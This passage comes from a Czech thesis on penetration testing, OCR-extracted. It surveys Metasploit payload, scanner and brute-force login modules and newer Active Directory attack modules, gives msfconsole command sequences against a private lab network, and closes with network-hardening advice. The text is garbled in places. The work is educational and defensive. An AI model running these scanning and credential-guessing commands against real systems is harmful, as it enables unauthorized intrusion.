P uziteCné zatizeni

T cile

AC pomocné

C zkouska zranitelnosti
E vyuZiti zranitelnosti

Tabulka 7 tabulka pouZzivanych zkratek

Metasploit Framework je mozné kromé klasického lokalni instalace na pocitaci vyuzivat

i na serveru, kdy se k tomto nastroji pristupuje pomoci webového prohliZece. Pro sever
se pouziva nastroj ,msfweb”, ktery se spusti. Poté je moZné nastroj vyuzivat pomoci
webového prohlizece, kdy se do URL zadana prislusna IP adresa daného serveru a port

na kterém je v daném serveru spustén tento nastroj.
[41]
show payloads

Po zadani toto prikazu dojde ke zobrazeni dostupnych moZnosti pro uzitetné zatiZeni,
kdy v tomuto vypisu je uvedena cesta k danému skriptu. Dale je zde uveden popis k
¢emu leze dany skript pouzit a datum zverejnéni daného skriptu. Posledni informace
zobrazena timto prikazem je hodnota s nazvem: ,Rank“ kterd kategorizuje jednotlivé

exploity do skupin, podle potencidlnich dopadii na napadené zafizeni. NiZe v tabulce
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jsou uvedeny hodnoty pro Rank a jejich popis.

nazev

popis

ExcellentRanking Nikdy nevede kpadu sluzby na cilové
zatizeni. Napiiklad SQL Injection, CMD
provadéni, RFI a LFI

GreatRanking Exploit ma vychozi cil a mize automaticky
detekovat tento cil, nebo pouziva navratovou
adresu specifickou pro aplikaci po kontrole
verze.

GoodRanking Exloit ma zadany vychozi cil a exloit sam
neumi cil detekovat.

NormalRanking Exploit zavisly na konkrétni verzi typu
softwaru.

AverageRanking Exploit, ktery ma dspésnost pouziti 50 %

a vice procent pro bézné pouZzivané
platformy.

LowRanking Exploit, ktery ma tispésnost pouziti pod
50 % a méné procent pro bézné pouzivané
platformy.

ManualRanking Pro nestabilni, nebo obtizné exploity,

kdy ma uspéSnost pouziti 15 % a méné

procent (napiiklad DDOS ttok)

Tabulka 8 tabulka popisu hodnot parametru ,RANK“
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Show auxiliary

Ma stejny format vypisu jako vySe popsany prikaz: ,show payloads®. Dale lze pro praci

s tim to nastrojem vyuzit msfcli u této moZnosti se jako prvni zadava nazev modulu.

Posledni parametr je kdd pro danou operaci, ktera se ma pouZit.

4.4 Vybrané payload moduly
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Inline - Jedna se o payload, ktery obsahuje exploit a Uplny kéd v shellu pro danou
ulohu. Inline payload je stabilnéjsi nez jiné payload moduly, ale ne vzdy je
velikost vysledného uzite¢nych zatiZeni podporovana exploity.

[Pv6 - Moduly pro vyuziti uziteCného zatizeni v pocitaCovych sitich, které
vyuzivaji IPv6 adresy.

Meterpreter — Tento payload funguje pomoci dll injection, kdy cely Meterpreter
se uklddd do paméti napadaného zarizeni. Umoziuje dynamické nacitdni a
uvolnovani jednotlivych plugint podle aktualni potieby. Nejvétsi vyhodou tohoto
modulu je to, Ze je obtiZzné detekovatelny konvenc¢nimi forenznimi technikami,
protoZe nezanechava stopy na pevném disku napadeného zatizent. [41]

PassiveX - VyuZiva se kobchazeni firrewall pro odchozi komunikaci. Pomoci
ActiveX dojde vytvoreni skryté instalaci Internet Exploer. Nasledna komunikace
mezi Utocnikem a napadenym zatizenim probiha pomoci http pozadavki. [42]
NoNX - Payload pro obchazeni Bit NX (No eXecute) funkce, kterd zabranuje
spusténi koédu v urcitych Castech operacni paméti. Bit NX obsahuji CPU. Ve
Windows je NX implementovan jako Data Execution Prevention (DEP). NoNX
payload je navrZen pravé k obchazeni DEP. Pro zpristupnéni NoNX se pouZije
nasledujici prikaz:

»use payload/cmd/windows/powershell /custom/bind_nonx_tcp*“.



V dal$im kroku se nastavi cil atoku v tomto prikladu je cilem utoku serve s nazvem:
sServer-PT DNS* kdy jeho IP adresa je uveden v kapitole ,Prakticka cast“. Dale byla
nastavena cesta k souboru pomoci atributu: ,SHELLCODE_FILE“. Nastaveni parametru:
»~LPORT" bylo nechano na vychozim cislu portu, a to na portu cislo 4444. Na obrazku

niZe jsou vidét pouZité prikazy pro vySe uvedené nastaventi.

msf6 payload( ) > set RHOST 192.168.0.3

) > set SHELLCODE_FILE /home/kali/Docum

Obrazek 11 (zdroj: autor)

e Ord (Ordinal payloads) - Payload vyuzivajici se na utok proti systémim
Windows, kdy tento payload lze vyuzit na vSech variantach operacniho systému
Windows od verze Windows 9x. Jedna se o maly payload. Musi mit nacten
ws2_32.dll v procesu, ktery je vyuZivan pred zneuzitim. Oproti odstanim payloads
moduliim ma nizsi stabilitu.

4.5 Vybrané auxiliary moduly

Tato podkapitole textové vychazi z jedno zdroje dat [39].

Axuiliary moduly se daji rozdélit do tfi skupin Admin, Scanner a Server. NiZe jsou

popsany vybrané auxiliary moduly.

e tomcat_administration module - Modul, ktery se pouZiva knalezeni serveru
Tomacat a jeho verze. Hledani severu probiha na zakladé prohledavani IP adres.
Piiklad nastaveni tohoto modulu pro cilovou sit 192.168.0.0/24. Po zadani
ptikazu: ,use auxiliary/admin/http/tomcat_administration, se zpristupni tento
poZadovany modul a postupné se nastavi pozadované hodnoty, jak je vidét na

obrazku nize.
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> set RPORT 8080

> set RHOSTS 192.168.0.1 - 192.168.0.254

true

> set tomcat_ r admin

> set tomcat_ admin

Obrazek 12 (zdroj obrazku: autor)

Po nastaveni parametrt na obrazku nasleduje piikaz: ,run®, ktery dany modlu spusti.
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mssql_enum - Modul, ktery prijimd sadu povéreni a provadi dotazovani na
konfiguraci MSSQL. Pro pouZiti tohoto modulu se pouZije vychozi uZivatelské
jméno a nastavi se tyto proménné ,PASSWORD“ a ,,RHOST*.

mysql_enum - Modul pro pripojeni ke vzdalenému MySQL databazovému serveru
a provede jeho zakladni vycet informaci u zadaného databazového serveru. Pro
pouziti tohoto modulu je nutné nastavit proménné a to ,PASSWORD*“, ,RHOST“ a
»+USERNAME". Pres tento modul je moZné provést pripojeni na databazovy server
a provadét prikazy SQL na napadeném databazovém serveru.

poweron_vm - Modul slouZici pro prihlaSeni se do VMware, kdy po UspéSném
prihlaseni se tento modul pokous$i zapnout urceny virtudlni pocita¢, nebo
virtualni server.

arp_sweep - Modul slouzici pro skenovani zatizeni ve stejné siti jako je uto¢nikiv
pocitaC. Pro pouziti tohoto modulu je nutné nastavit zdrojovou IP adresu a
zdrojovou MAC adresu toto nastaveni se provadi pomoci proménné ,SHOST“ a
proménné ,SMAC“. Tento modul se pouziva ke skenovani v pocitacovych sitich,
které vyuziva IP adresy, pokud se v dané siti pouZivaji IPv6 adresy tak se vyuZziva
pro toto vySe pospané skenovani sité modul s nazvem: ,ipv6_neighbor®, ktery
funguje podobné jako zde popsany ,arp_sweep“ modul. Po zadani ptikazu: ,use
auxiliary/scanner/discovery/arp_sweep“, se zpristupni tento poZadovany modul

a postupné se nastavi poZzadované hodnoty, jak je vidét na obrazku niZe.



Prvni ptiklad je nastaveni tohoto modulu pro sever: ,Server-PT FTP“ viz tabulka

v kapitole 7 Prakticka cast.

) > set RHOSTS 192.168.0.5/24

) > exploit

Obrazek 13 (zdroj obrazku: autor)

Druhy priklad je nastaveni tohoto modulu pro utok na sit ,VLAN10“ viz tabulka v
kapitole 7 Prakticka cast

msfé auxiliary( ) > set RHOSTS 192.168.10.1 - 192.168.10.254

RHOSTS = 192.168.10.1 - 192.168.10.254
msf6 auxiliary( ) > exploit

Obrazek 14 (zdroj obrazku: autor)

Kromé vysSe na obrazcich uvedenych nastavenich. Lze nastavit IP adresy pomoci souboru
s priponou .txt, kde je uveden seznam IP adres, kdy za ,RHOST“ se da cesta k danému

souboru, ktery se ma pouZit (set RHOSTS file: /tmp/ip_list.txt).

e ftp/Anonymous - Modul, ktery hleda FTP server, ktery umoZnuje anonymni
ptistup a zjiStuje, jestli jakd jsou na nalezeném FTP serveru opravnéni (Cteni,
zapis) k ulozenym souboriim. Vyhledavani modul se provadi na zakladé

zadaného rozsahu IP adres.
msf > use auxiliary/scanner/ftp/Anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.1.0-254
msf auxiliary(anonymous) > set THREADS 55
THREADS => 55

msf auxiliary(anonymous) > run
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e ftp_login - Modul, ktery se pokousi prihlasit k FTP severu pomoci seznamu slov,

nebo uZivatelsky povéreni. Priklad nastaveni pro utok proti ,Server-PT FTP*.
msf > use auxiliary/scanner/ftp /ftp_login
msf auxiliary(ftp_login) > set RHOSTS 192.168.0.5
RHOSTS =>192.168.0.5
msf auxiliary(ftp_login) > set THREADS 205
THREADS => 205
msf auxiliary(ftp_login) > set USERNAME admin2022
USERNAME => admin2022
msf auxiliary(ftp_login) > set PASSWORD admin2022
PASSWORD => admin2022
msf auxiliary(ftp_login) > set VERBOSE false
VERBOSE => false

msf auxiliary(ftp_login) > run

e ftp_version - Tento modul na zikladé zadaného rozsahu IP adres vyhleda
vSechny béZici FTP servery a vrati jejich verzi. Pro pouziti tohoto modulu je nutné
nastavit nasledujici proménné ,RHOSTS“ a ,THREADS". Priklad nastaveni pro
utok proti ,Server-PT FTP“.

msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set RHOSTS 192.168.0.5

RHOSTS =>192.168.0.5
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msf auxiliary(ftp_version) > set THREADS 55
THREADS => 55

msf auxiliary(ftp_version) > run

e (Cert - Modu, ktery pomoci skenovani sité zjiStuje platnost certifikati serveri
v dané siti. Pro pouziti modulu je nutné nastavit tyto proménné ,RHOSTS" a

»THREADS". Priklad nastaveni pro sit 192.168.0.0, kde se nachazeji servery.
msf > use auxiliary/scanner/http/cert
msf auxiliary(cert) > set RHOSTS 192.168.0.0/24
RHOSTS =>192.168.0.0/24
msf auxiliary(cert) > set THREADS 254
THREADS => 254

msf auxiliary(cert) > run

e dir_listing — Modul, ktery zjisti, jestli je na zadanych severech povolen vypis jejich
adresari. Tento vypis miiZe poskytnout pristup kinformacim uloZenych na

daném severu. Priklad nastaveni pro sit 192.168.0.0, kde se nachazeji servery.
msf > use auxiliary/scanner/http/dir_listing
msf auxiliary(dir_listing) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.0.1-254
msf auxiliary(dir_listing) > set THREADS 55

THREADS => 55
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msf auxiliary(dir_listing) > run

e dir_scanner - Tento modul se vyuziva k nalezeni zajimavych adresarti na jednom
webovém serveru, nebo na vice webovych serverech soucasné. Vyhledavani je
provddéno na zakladé nastaveni cile uUtoku a slovniku, ktery je soucasti

Metasploitu.
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.0.1-254

msf auxiliary(dir_scanner) > run

e imap_version — Modul pro zachytavani ,banner” urenych pro IMAP servery. Pro

pouZziti tohoto module se nastavuji tyto proménné ,RHOSTS“ a ,, THREADS".
msf > use auxiliary/scanner/imap/imap_version
msf auxiliary(imap_version) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.0.1-254
msf auxiliary(imap_version) > set THREADS 20
THREADS => 20

msf auxiliary(imap_version) > run

e nbname - Modul prohledava seznam zatrizeni a urcuje jejich jména pomoci
NetBIOS. Pro poziti tohoto modulu je nutné nastavit tyto proménné ,RHOSTS"
and ,THREADS".

msf > use auxiliary/scanner/netbios/nbname

64



msf auxiliary(nbname) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.0.1-254

msf auxiliary(nbname) > set THREADS 11

THREADS => 11

msf auxiliary(nbname) > run

e nbname_probe - Modul, ktery kurceni nazvi NetBIOS vzdalenych zarizeni
pouZziva sekvencni testy NetBIOS. Pro pozZiti tohoto modulu je nutné nastavit tyto
proménné ,RHOSTS“ a ,THREADS". Priklad nastaveni pro sit VLAN 30, ktera je

uvedena v kapitole Prakticka cast.
msf > use auxiliary/scanner/netbios/nbname_probe
msf auxiliary(nbname_probe) > set RHOSTS 192.168.30.1 - 192.168.30.254
RHOSTS => RHOSTS 192.168.30.1 - 192.168.30.254
msf auxiliary(nbname_probe) > set THREADS 11
THREADS => 11

msf auxiliary(nbname_probe) > run

e pop3_version - Modul pro vyhledavani emailovych serverdq, které vyuZzivaji POP3
protokol. Pro poziti tohoto modulu je nutné nastavit tyto proménné ,RHOSTS"

and ,THREADS"
msf > use auxiliary/scanner/pop3/pop3_version

msf auxiliary(pop3_version) > set RHOSTS 192.168.0.1-254
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RHOSTS =>192.168.0.1-254
msf auxiliary(pop3_version) > set THREADS 20
THREADS => 20

msf auxiliary(pop3_version) > run

e ssh_login - Modul pro otestovani sady piihlasovacich udaji. Tyto udaj jsou
uveden v souboru, kdy uzivatelskd jména a hesla jsou mezi sebou oddéleny
mezerou. Dale je moZné provadét pokusy o prihlaseni takzvané: ,hrubou silou“.
Pro vyuziti tohoto module je nutné do proménné ,USERPASS_FILE“ nastavit cestu

k souboru s ptrihlaSovacimi udaji.

msf > use auxiliary/scanner/ssh/ssh_login

e ssh_login_pubkey - Modul, ktery se vyuzivd k pokusu prihlaSeni pomoci SSH
kli¢h. Pro poziti tohoto modul je nutné ziskat piistup k soukromému SSH Kli¢i.

e telnet_login - Modul, ktery se na zakladé zadaného rozsahu IP adres a souboru
uzivatelskych jmen a hesel pokousi o prihlaSeni k servertim které vyuzivaji

Telnet.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false

msf auxiliary(telnet_login) > set PASS_FILE passwords.txt
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PASS_FILE => passwords.txt

msf auxiliary(telnet_login) > set RHOSTS 192.168.1.0/24
RHOSTS =>192.168.1.0/24

msf auxiliary(telnet_login) > set THREADS 254
THREADS => 254

msf auxiliary(telnet_login) > set USER_FILE users.txt
USER_FILE => users.txt

msf auxiliary(telnet_login) > set VERBOSE false
VERBOSE => false

msf auxiliary(telnet_login) > run

e telnet_version - Modul, ktery zjisti jednotlivé verze protokolu Telnet, které se
pouzivaji na severech vzaddm rozsahu IP adres. Pro vyuziti tohoto modulu je

nutné nastavit tyto proménné ,RHOSTS" a ,,THREADS".
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set RHOSTS 192.168.0.1/24
RHOSTS =>192.168.0.1/24
msf auxiliary(telnet_version) > set THREADS 254
THREADS => 254

msf auxiliary(telnet_version) > run
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e vnc_login - Modul skenujici zadanou IP adresu, nebo rozsah IP adres a na zakladé
zadaného seznamu slov se pokousi prihlasit k zarizeni pomoci VNC. Pro vyuziti
tohoto modulu je nutné nastavit tyto proménné ,RHOSTS“ ,THREADS“ a
»,BRUTEFORCE_SPEED".

msf > use auxiliary/scanner/vnc/vnc_login

msf auxiliary(vnc_login) > set RHOSTS 192.168.0.1-254
RHOSTS =>192.168.0.1-254

msf auxiliary(vnc_login) > set THREADS 11

THREADS => 11

msf auxiliary(vnc_login) > set BRUTEFORCE_SPEED 1
BRUTEFORCE_SPEED => 1

msf auxiliary(vnc_login) > run

e vnc_none_auth — Modul, ktery na zakladé zadaného rozsahu IP adres hleda VNC
bez nastavené autentizace. Pro vyuZiti tohoto modulu je nutné nastavit tyto

proménné ,RHOSTS"
a,, THREADS".
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.0.1/24

RHOSTS =>192.168.0.1/24
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msf auxiliary(vnc_none_auth) > set THREADS 50
THREADS => 50

msf auxiliary(vnc_none_auth) > run

e John the Ripper - Modul slouzici k rychlému odhalovani slabych hesel. Pokud se
bude jednat o prolamovani sloZitych hesel tak by mél byt tento nastroj pouzivan

zvlast mimo Metasploit.

4.6 Metasploit Framework 5.0 a Metasploit Framework 6.3

Tato kapitola se vénuje porovnani Metasploit Framework 5.0 a Metasploit Framework

6.3. Verze 5.0 byla vydana v roce 2019 a verze 6.3 byl vydana v roce 2023
Nové funkce Metasploit Framework 5.0

Metasploit Framework 5.0 rozsifuje moznost pouziti exploit moduld, kdy je od této
verze Metasploit Frameworku moZné pouZit exploit modul proti vice cilovym zarizenim,
kdy se do proménné ,RHOSTS“ zada konkrétni IP adresa sité, nebo rozsah IP adres.
V predchozich verzich bylo moZné exploit modul pouZit pouze proti jednomu cilovému
zarizeni. Prenastaveni cilového zarizeni je moZné pouzit proménou ,RHOSTS", nebo
»,RHOST®. Vramci této verze Metasploit Frameworku byla pfiddna moZnost psani
modulli pomoci programovacich jazykt Go a Python, kdy v predchozi verzich Metasploit

Frameworku bylo mozné pouZivat pouze programovaci jazyk Ruby.
Vyhody této verze Metasploit Frameworku:

e MoZnost poustét databazi PostgreSQL jako RESTful sluzbu - Tato funkcionalita
umoznuje spolupraci vice Metasploit konzoli a externimi nastroji.

e Hromadné operace jsou pirepracovany do podoby databazové sluzby
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JSON-RPC API - Tato funkcionalita umoZnuje integrovani Metasploit spolecné

s dalSimi nastroji a programovacimi jazyky.

Web service framework - Tato funkcionalita se vyuZiva pro odhaleni databaze

i automatizacnich API Web service framework podporuje pokrocilé ovérovani

a soubézné operace.

DoSlo kpridani evasion modulli knihoven a moZnosti generovani vlastnich
evasive payloads modulti bez dal$ich externich nastrojt.

Metashell funkce - Funkce umoziujici spoustét relace na pozadi a komunikovat

s relacemi prostiedi.

Nové funkce Metasploit Framework 6.3

Novou funkcionalitou u Metasploit Framework 6.3 je zefektivnéni utoki Kerberos a

Active Directory, kdy je mozné provést autentizaci pro vice sluzeb a tim to zpisobem

fetézit utok s jinymi moduly Metasploit Framework 6.3.

Vyhody této verze Metasploit Frameworku:
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Nativni Kerberos autentizace pomoci protokolti HTTP, LDAP, MSSQL, SMB, nebo
WinRM
Moznost vytvoreni pozadavku na Ticket-Granting Tickets (TGT) a Ticket-
Granting Server (TGS) z Key Distribution Center (KDC)
Pokud se ziskat heslo, hash NT, nebo Sifrovaci kli¢ je moZné pozadovat tickets
PKINIT s certifikaty vydanymi AD CS.
Karberos vyuziva pro ladéni ticketli nasledujici moduly.

o auxiliary/admin/kerberos/inspect_ticket

o auxiliary/admin/kerberos/keytab:



Tento modul se vyuZiva pro deSifrovani souborii Kerberos v programu
Wireshark. Desifrovani se provadi pomoci generovani soubori Keytab.

e PIné automatizovana eskalace opravnénich pomoci Certifried

V nové moduly Metasploit Framework 6.3, které se vyuzivaji pri Utocich proti Active

Directory a Domain Service. NiZe v praci jsou stru¢né popsany tyto nové moduly
Moduly pouzivané proti sluzbam Active Directory a Domain Service:

e auxiliary/admin/dcerpc/samr_computer - Tento modul se pouzivd pro
vyhledavani, vytvareni, nebo mazani pocitacovych uctli z domény spravované
pomoci nastroje Active Directory.

e auxiliary/admin/ldap/rbcd - Tento modul se pouziva pro konfiguraci objekti
vramci Active Directory, kdy tato nastaveni umoznuje utocnikovi vydavat se za
jakykoliv jiny ucCet v ramci dané domény spravované pomoci Active Directory.

e auxiliary/gather/ldap_query - Tento modul umoZnuje tvorbu jednotlivych

dotazii, nebo tvorbu skupiny dotazi na LDAP server.
Moduly pouzivané proti sluzbé Active Directory Certificate Services:

e auxiliary/admin/dcerpc/icpr_cert — Modul pro podporu vydavani certifikatu

prostrednictvim Active Directory Certificate Services.

e auxiliary/gather/ldap_esc_vulnerable_cert_finder - Modul podporujici
vyhledavani zranitelnosti v certifikatech ESC1, ESC 2 a ESC 3 na napadeném
serveru Active Directory Certificate Services s vyuzitim LDAP.

e auxiliary/admin/kerberos/get_ticket - Modul poZadujici tiket TGT /TGS od KDC
pomoci certifikatl prostrednictvim PKINIT.

[62]
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6 Shrnuti vysledku

Metasploit framework nabizi Ffadu moduli pro penetra¢ni testovani, kdy nékteré
vybrané moduly byly zminény a popsany vyse v praci v kapitolach podle toho, jestli se
jedna o modul ze skupiny Payloads moduly, nebo ze skupiny Auxiliary moduly. Zakladni
ovladani a nastaveni parametri pro jednotlivé vySe uvedené moduly bylo pomérné
snadné a u kazdého vybraného modulu se pozadi prikazu: ,show ,options“ zobrazil
pirehledna napovéda. Tato napovéda prehledné zobrazoval nazvy atribut spolecné se
stru¢nym popisem daného atributu a informaci, jestli je dany atribut pro dany modul
povinny, nebo volitelny. U Metasploit framework neni pro zakladni pouZiti nutna néjaka
specialni znalost v oblasti kyberneticky utoki sta¢i pouze védét to co chce dany clovék
udélat a na internetu ma pomérné pékné bezplatné navody pro Metasploit framework.
V praci pred hlavni kapitolu o Metasploit framework byla kapitola o Kali Linuxu a o jeho
dalsich nastrojich spadajici do oblasti penetracniho testovani. Plati pro vSechny tyto
nastroje pomérné pirehlednd napovéda v prikazovém tadku daného konkrétniho

nastroje. Vzhledem k vySe popsany skute¢nostem je jasné, Ze dnes miize néjaky utok

na pocita¢ovou sit provést na prosto kdokoliv kdo si da praci s hledanim toho, jak dany
utok provést a jaké je nutné nadstavit parametry vdaném modulu Metasploit
frameworku, nebo jiném nastroji v Kali Linuxu. Zde v praci neni uvedeno maskovani
utoku a zarizeni pres, které se dany utok na pocitatovou sit provadi. Vzhledem

dostupnosti nastrojlii pro penetracni testovani je v dnesni dobé je slozitéjsi maskovat

zdrojové zarizeni utocnika nez provést néjaky samotny utok na pocitacovou sit.

72



7 Zavéry a doporucen

Plati zde obecna doporuceni o nastaveni zabezpeceni sité. Na Switche deaktivovat
nepouZzivané porty nastavit port security s limitem povolenych MAC adres. Port security
by mélo byt nataveno bud restrict, nebo shutdown. ReZim protect sice splni ucel
blokovani zarizeni s neznamou MAC adresou, ale na rozdil od vySe uvedenych mdédi ne
vytvari se zaznam o naruSeni bezpecnosti na nadaném portu. ReZim shutdown. Mam
jednu nevyhodu, a to nutnost resetovat dany interface na switche. Nejvhodnéjsi se mi
jevi rezim restrict, ale zalezi na pozadavcich na danou sitovou infrastrukturu. DalSim
obecnym pravidlem by mélo byt vyuZivani ACL na routerech. Videalnim pripadé
extended ACL, ktery umoznuje filtrovat povolené sluzby (http, fttp) podle zdrojové IP
adresy, pokud v daném misté sité staci filtrovat provoz jen na zakladé zdrojové IP adresy
tak by se mél pouzit standard ACL. Dale je nutné rozdélit sit do jednotlivych VLAN, podle
skupin uzivateld vdané pocitacovi siti. Minimalné rozdélit na VLAN pro zaméstnance a
VLAN pro administratory dané pocitacové sité. Posledni doporucenim je pravidelna
aktualizace vSech systémi (operacni systémy PC) v dané pocitacové siti. Idealné nasadit
néjaky monitoring sité, ktery pomohl pri odhalovani kybernetického utoku na danou
sitovou infrastrukturu. NejdileZitéjSim bodem je délani pravidelnych zaloh dat a
ptipadné i zaloh aktualnich konfiguraci sitovych prvki. Mél by byt nastaven systém pro
monitorovani systémi, tak aby bylo mozné detekovat anomalni spousténi souborl a
procesii vdaném operacnim systému. Dale na zdkladé monitorovani sité je nutné
provadét analyzu sitového provozu, aby bylo moZné detekovat anomalni provoz v dané
pocitacové siti, nebo v dil¢i ¢asti pocitacové sité. Pri v casné detekci anomalniho provozu
v dané ¢asti sité je mozné tuto Cast sité v ¢as odpojit od zbytku sitové infrastruktury a
tim zamezit pripadnému Sifeni Skodlivého sw do dalSich ¢asti pocitacové sité. Dale pri
analyze sitového parovozu je vhodné sledovat porty na kterych ma béZet konkrétni

sluzba. Jestli se pouzivaji obvykle pouZzivana ¢isla porti pro danou webovou sluzbu.
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Pokud je povoleno pouZzivani externich pamétovych médii. Je nutné monitorovat
abnormalni pristupy k souboriim na daném vymeénitelné médium. V ptipadé vyuzivani
sdilenych slozek a souborti, nebo vyuzivani cloudovych ulozist je nutné monitorovat i
piistupy do téchto sdilenych sloZek a souborti stejné jako v pripadé vyuZzivani externich
pamétovych medii. Dale by se méla monitorovat tvorba novych uzivatelskych uctt, aby
bylo mozné identifikovat nové vytvorené podezielé uZivatelské uUcty, nebo ucty

vytvotfené béhem kybernetického itoku na pocitacovou sit. [49]
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8 Prakticka cast

V této kapitole diplomové prace se nachazi jednoduché schéma zapojeni sité a tabulka,
ve které jsou uvedeny IP adresy koncovych zafizenich (PC a Servery). Udaje uvedené
v této kapitole jsou pouzity pro priklady nastaveni v kapitolach 4.5.4 Vybrané payload

moduly a 4.5.5 Vybrané auxiliary moduly a Servery).

Serfer-PT

Internet IcP

Server-PT
3 HTTP

pfipojeni VLAN

Server-PT

=7 1941 Lan pro servery

1941
Router0
60-24TT

=,
PrEk Switch0

VLAN2D
Server-PT
DNS

[e—
PC-PT
VLAN3D

Obrazek 15 (zdroj autor)
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Nazev [P adresa Subnet Mask Default Gateway
PC-PT VLAN10 DHCP (192.168.10.3 | 255.255.255.0 192.168.10.1
192.168.10.254)
PC-PT VLAN20 DHCP 255.255.255.0 192.168.20.1
(192.168.20.2
192.168.20.254)
PC-PT VLAN30 DHCP 255.255.255.0 192.168.30.1
(192.168.30.2
192.168.30.254)
Server-PT DHCP 192.168.1.2 255.255.255.0 192.168.0.1
Server-PT DNS 192.168.1.3 255.255.255.0 192.168.0.1
Server-PT FTP 192.168.1.5 255.255.255.0 192.168.0.1
Server-PT HTTP 192.168.1.4 255.255.255.0 192.168.0.1
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Tabulka 9 seznam zaiizeni vytvoi‘eno pro tento text
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8.1 Skenovani sitée

V prvni podkapitola praktické c¢asti prace bude vénovani skenovani a zjiStovanim
informaci o dani podsiti pomoci arp_sweep. Tato ¢ast bude niZe rozdélena do dvou
piikladi.

8.1.1 Skenovani LAN sité

Pro skenovani sité byl vyuZit prikaz: ,arp-scan -1

Pouziti bez VLAN

NiZe na obrazku je vidét skenovani sité bez pouZzivani VLAN.

fusr/_/lib/msf/core/exploit

Obrazek 16 prikaz arp-scan (zdroj obrazku: autor)
Na obrazku vyse je vidét u jednotlivych pripojenych zarizenich je vidét nazve vyrobce

daného zarizeni. Dale je z vypisu vidét IP adresa a MAC adresa daného zatizeni.

[P adresu 192.168.0.2 ma nastavenou switche a IP adresu 192.168.0.1 ma interface
routeru (Default Gateway). Zatizeni Dell Inc. jsou legalni stanice dané sité a zarizeni HP

Inc. Je zatizeni Gitoc¢nika.

Pouziti pri rozdéleni sité do VLAN

Rozdéleni sité do tif VLAN siti, a to do VLAN10, VLAN20 a VLAN30.
VLAN10:

Jedna se o VLAN pro spravu, kdy sitova IP adresa je 192.168.10.0/24.

NiZe v tabulce je vystup pro pouziti piikazu: ,sudo arp-scan -1
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[P adresa

MAC adresa

Vyrobce zarizeni

192.168.10.3 cc:96:e5:2¢:02:40 Dell Inc.
192.168.10.2 80:6a:00:3d:e1:c0 Cisco Systems, Inc
192.168.10.1 5c:64:f1:dc:ef:10 (Unknown)
192.168.10.100 48:9e:bd:28:€9:25 HP Inc

Tabulka 10 arp-scan pro VLAN10 (zdroj autor)

Z vyse v tabulce uvedenych udajd je vidét, Ze na IP adrese 192.168.10.2 je umistén

switche a IP adresu 192.168.10.1 ma interface routeru (Default Gateway). Na adrese

192.168.10.3 je legalni stanice dané VLAN. Dadle je vidét, Ze zafizeni utocnika je na IP

adrese 192.168.10.100.

VLANZ20:

Jedna se o VLAN pro spravu, kdy sitova IP adresa je 192.168.20.0/24.

NiZe v tabulce je vystup pro pouziti piikazu: ,sudo arp-scan -1

[P adresa MAC adresa Vyrobce zatizeni
192.168.20.4 cc:96:e5:2b:fc:4d Dell Inc.
192.168.20.5 cc:96:e5:2b:fa:9b Dell Inc.
192.168.20.1 5c:64:f1:dc:ef:10 (Unknown)
192.168.20.100 48:9e:bd:28:€9:25 HP Inc
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Tabulka 11 arp-scan pro VLAN20 (zdroj: autor)

Na IP adrese 192.168.20.4 a IP adrese 192.168.20.5, jsou legalni stanice dané VLAN. Dale

na [P adrese 192.168.20.1 je interface routeru (Default Gateway). Dale je vidét, Ze

zarizeni utoc¢nika je na IP adrese 192.168.20.100.

VLAN30:

Jedna se o VLAN pro spravu, kdy sitova IP adresa je 192.168.30.0/24.

NiZe v tabulce je vystup pro pouziti piikazu: ,sudo arp-scan -1

[P adresa MAC adresa Vyrobce zarizeni
192.168.30.6 cc:96:e5:2b:fa:0f Dell Inc.
192.168.30.1 5c:64:f1:dc:ef:10 (Unknown)
192.168.30.100 48:9e:bd:28:€9:25 HP Inc

Tabulka 12 arp-scan pro VLAN30 (zdroj:

autor)

Na IP adrese 192.168.30.6 je legalni stanice dané VLAN. Dale na IP adrese 192.168.30.1

je interface routeru (Default Gateway). Dale je vidét, Ze zarizeni utocnika je na IP adrese

192.168.20.100.
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8.2. Utok proti FTP serveru

ft8.2.3 ftp/Anonymous*

Vstupni udaje

Parametr RHOST nastaven na hodnotu: ,192.168.1.0/24"

To znamena, Ze se bude prohledavat cely adresni rozsah a to celkem 254 IP adres.
Parametr THREADS nastaven na hodnotu 51

Vystupni udaje

Na obrazcich nize jsou vidét vysledky, a to prvnim pripadé pro nalezeni serveru a

v druhém pripadé pro nenalezeni serveru.

wnunnon

W

nuwono

o
o o
P SN
= S
e o
-1
= B
= =
sde
=1

Obrazek 18 vystup ftp/Anonymous modulu (zdroj obrazku: autor)
Jak je vidét z obrazkl vysSe v piipadé nalezeni serveru se zobrazi IP adresa daného
serveru opravnéni u serveru v ukazkovém ptipadé je na serveru opravnéni pro Cteni i
zapis.
Prevence utoku

V prvni rade je nutné zvazit, jestli je viibec potfeba anonymni piistup k souboriim na

FTP serveru. Pokud je anonymni pfistup potieba mél by byt povolen pouze pro cteni, a
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nikoliv jako v tom to konkrétnim pripadé procteni i zapis. Pokud neni anonymni piistup
vyzadovan mél by byt na daném serveru zakazan. Prikladem diivodu, kdy povolit
anonymni pristup je moznost, aby uZivatelé danych webovych stranek si mohli stdhnou

néjakou Sablonu konkrétniho dokumentu, nebo néjaky dokument urceny pro verejnost.
8.2.3 ftp/ftp_version

Vstupni udaje

Parametr RHOST nastaven na hodnotu: ,192.168.1.0/24"“.

Vystupni udaje

Na obrazku niZe je vidét, ze byl nalezen server na IP adrese 192.168.1.5 a portu 21

server s opera¢nim systémem od Microsoftu.

c@d\ x@a "’

[ S S S S S

19
1
1
1
1
1
1
p &
1
1
1
A

Obrazek 19 vystup ftp/ftp_version modulu (zdroj obrazku: autor)

8.2.4 ftp/ftp_login
Vstupni udaje

Parametr RHOST nastaven na stejné jakoo u ptedeslych vySe popsanych piikladi na
